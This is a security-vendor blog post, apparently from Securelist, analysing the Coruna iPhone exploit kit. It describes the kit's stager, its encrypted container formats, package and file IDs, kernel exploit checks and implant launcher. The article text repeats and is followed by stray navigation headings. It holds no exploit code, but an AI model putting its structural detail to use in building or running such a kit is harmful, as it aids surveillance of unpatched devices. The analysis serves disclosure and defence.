Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset	Field
0x00	Magic number (0xBEDF00D)
0x04	Decompressed data size
0x08	LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset	Field
0x00	Magic number (0xF00DBEEF)
0x04	Number of entries
0x08	Entry[0].File ID
0x0C	Entry[0].Status
0x10	Entry[0].File offset
0x14	Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset	Field
0x00	Magic number (0x12345678)
0x04	Flags
0x08	Directory path
0x108	Number of entries
0x10C	Entry[0].Package ID
0x110	Entry[0].ChaCha20 key
0x130	Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID	Description
0xF3300000	Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000	Kernel exploit (iOS < 14.7) and other components
0xF3700000	Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000	Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000	Kernel exploit (iOS < 17.2) and other components
0xA3030000	Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000	Mach-O loader (iOS 16.0 – 16.4)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID	Description
0x10000	Implant
0x50000	Mach-O loader (default)
0x70000	List of additional components
0x70005	Launcher config
0x80000	Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000	Kernel exploit
0x90001	Kernel exploit (for Mach-O loader)
0xA0000	Logs cleaner
0xA0001	Mach-O loader component
0xA0002	Mach-O loader component
0xF0000	RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Securelist
Coruna: the framework used in Operation Triangulation 26 March 2026 at 09:00

Coruna: the framework used in Operation Triangulation

Securelist

By: Boris Larin

26 March 2026 at 09:00

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Attack chain of Operation Triangulation (simplified)

Attack chain of Coruna (simplified)

Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.

Technical details

While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.

Safari

Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.

Payload

The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.

First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.

The file format used by the exploit kit to store compressed data

Offset	Field
0x00	Magic number (0xBEDF00D)
0x04	Decompressed data size
0x08	LZMA-compressed data

The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.

The file format used by the exploit kit to store files

Offset	Field
0x00	Magic number (0xF00DBEEF)
0x04	Number of entries
0x08	Entry[0].File ID
0x0C	Entry[0].Status
0x10	Entry[0].File offset
0x14	Entry[0].File size

We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.

Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.

The file format used by the exploit kit to store information about file packages

Offset	Field
0x00	Magic number (0x12345678)
0x04	Flags
0x08	Directory path
0x108	Number of entries
0x10C	Entry[0].Package ID
0x110	Entry[0].ChaCha20 key
0x130	Entry[0].File name

The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:

0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.

The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.

Other bytes of the Package ID define the supported firmware version and CPU generation.

Some of the observed Package IDs (those with unique content)

Package ID	Description
0xF3300000	Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000	Kernel exploit (iOS < 14.7) and other components
0xF3700000	Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000	Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000	Kernel exploit (iOS < 17.2) and other components
0xA3030000	Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000	Mach-O loader (iOS 16.0 – 16.4)

The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID	Description
0x10000	Implant
0x50000	Mach-O loader (default)
0x70000	List of additional components
0x70005	Launcher config
0x80000	Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000	Kernel exploit
0x90001	Kernel exploit (for Mach-O loader)
0xA0000	Logs cleaner
0xA0001	Mach-O loader component
0xA0002	Mach-O loader component
0xF0000	RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Normal view

Introduction

Technical details

NightLedger backdoor

BridgeHead – a WebSocket tunneler

ArcBridge: another WebSocket tunneling tool

Victimology

Conclusion

Indicators of compromise

File hashes

Domains and IPs

Introduction

Technical details

NightLedger backdoor

BridgeHead – a WebSocket tunneler

ArcBridge: another WebSocket tunneling tool

Victimology

Conclusion

Indicators of compromise

File hashes

Domains and IPs

How an STRD attack works

The core concept of Shadow Token via Remote Debug

How to protect against OAuth token theft

How to prevent exploitation of Shadow Token via Remote Debug

Persistence via the update system

HelloInjector: a loader for additional malicious components

HelloProxy: a tool for traffic proxying and launching new malicious payloads

HelloBackdoor: a Rust-based backdoor for file system manipulations

Attribution

Recommendations

Detection by Kaspersky solutions

Indicators of Compromise

Persistence via the update system

HelloInjector: a loader for additional malicious components

HelloProxy: a tool for traffic proxying and launching new malicious payloads

HelloBackdoor: a Rust-based backdoor for file system manipulations

Attribution

Recommendations

Detection by Kaspersky solutions

Indicators of Compromise

Technical details

Initial infection

Fixed.ps1 (loader)

Fixed.ps1::Payload (VBCloud dropper)

Fixed.ps1::Payload (PowerShower)

PowerShower::Payload (credential grabber)

Multi-user RDP by patching termsrv.dll

Reverse SSH tunneling

Patched OpenSSH

RevSocks

Tor tunneling

PowerCloud

Browser checker

Victims

Conclusion

Indicators of compromise

Domains and IPs

File paths

Technical details

Initial infection

Fixed.ps1 (loader)

Fixed.ps1::Payload (VBCloud dropper)

Fixed.ps1::Payload (PowerShower)

PowerShower::Payload (credential grabber)

Multi-user RDP by patching termsrv.dll

Reverse SSH tunneling

Patched OpenSSH

RevSocks

Tor tunneling

PowerCloud

Browser checker

Victims

Conclusion

Indicators of compromise

Domains and IPs

File paths

Executive summary

Background

Initial access